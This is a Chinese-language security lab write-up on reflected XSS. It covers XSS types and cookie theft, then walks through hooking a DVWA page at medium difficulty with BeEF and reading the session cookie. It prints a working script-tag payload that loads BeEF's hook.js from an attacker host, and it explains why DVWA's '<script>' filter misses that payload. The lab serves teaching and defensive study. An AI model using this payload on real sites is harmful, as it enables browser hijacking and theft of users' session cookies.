实验目的
- 学习XSS工具/手工攻击的原理
- 掌握XSS工具/手工攻击的方法
- 学习防御XSS的方法/原理
实验工具
-
burpsuite
Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架. -
Beef
一个集成的浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具实验内容
XSS漏洞介绍
认识XSS
CSS跨站脚本攻击(Cross Site Scripting),为了不与层叠样式表(css)混淆,故称跨站脚本攻击缩写为XSS。
XSS(Cross Site Scripting )
XSS 攻击的危害没有得到应有的重视。在不同业务场景中,XSS会造成不同程度的危害,而XSS攻击的危害程度依赖于具体的业务环境。
XSS 漏洞攻击是发生在客户端的攻击,不会对网站所在服务器造成直接攻击。
XSS 漏洞的本质是网站没有很好的过滤客户所输入的数据,使恶意代码(payload)能够通过网站传递到客户端。
XSS 分类:
1.反射型
2.存储型
3.DOM型
XSS (Reflected)反射型攻击发生的具体情景
黑客发现一个存在XSS漏洞的接口或页面,构造恶意代码(payload)后,诱使客户打开恶意链接从而完成攻击。
窃取客户端Cookie资料是XSS攻击中最常见的应用方式之一
- Cookie是由服务器提供的存储在客户端的数据,使JavaScript的开发人员能够将信息持久化保存在一个会话之间或多个会话之间。同时,由于Cookie是现今Web系统识别用户身份和保存会话状态的主要机制,一旦web应用程序中存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取cookie信息,执行恶意操作。
实验步骤
本次实验中,我们先找到xss漏洞,再使用BEFF获得cookie,最后分析源代码来了解漏洞详细信息。
步骤1:打开BEEF
首先我们打开beef
打开beef-xss,输入以下命令,查看beef-xss账号密码
cat /etc/beef-xss/config.yaml
登陆beef 用户名和密码都是 beef
初次登陆修改账号或者密码
输入 vim etc/beef-xss/config.yaml
输入命令 beef-xss启动图形化界面
图形化界面如下,账号密码是修改后的账号密码
步骤2:登陆DVWA
打开DVWA,将难度调至MEDIUM。
这里我们使用 payload: <script src="http://127.0.0.1:3000/hook.js"></script>
进行尝试。
注意:在插入到DVWA中的时候要把IP改为本机IP,也就是将beef提示的payload中的127.0.0.1改为172.16.11.2
这里对payload进行分析:XSS Payload其实就是一段Javascript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起Cookie 劫持攻击。Set-Cookie时给关键字Cookie植入HttpOnly标识、Cookie与IP绑定。
之后我们来到Beef中获取cookie。点击右侧任务栏中的Current Browser --> Commands 在 Module Tree 下查找到cookie的有关目录。执行Get Cookie,就可以获得当前的cookie值
从cookie中可以看到,security=medium 而我们的实验也是用的medium级别的,说明实验是成功的。在medium中 ,payload会显示为 security=medium 。
实验分析
点击 View Source 查看php源代码。
之后我们可以看到源代码。
首先第一行 array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
通过一个if语句来判断用户是否输入了数据。里面的条件首先判断是否有GET请求之后判断输入内容是否为空,如用户提交了不为空的数据则进入if语句中。
其次第二行$name=str_replace('<script>','',$_GET['name']);
我们可以看到设计者使用str_replace函数替换<script>
字符串为空来过滤。而我们的payload中并没有字符串<script>
所以攻击仍然可以生效。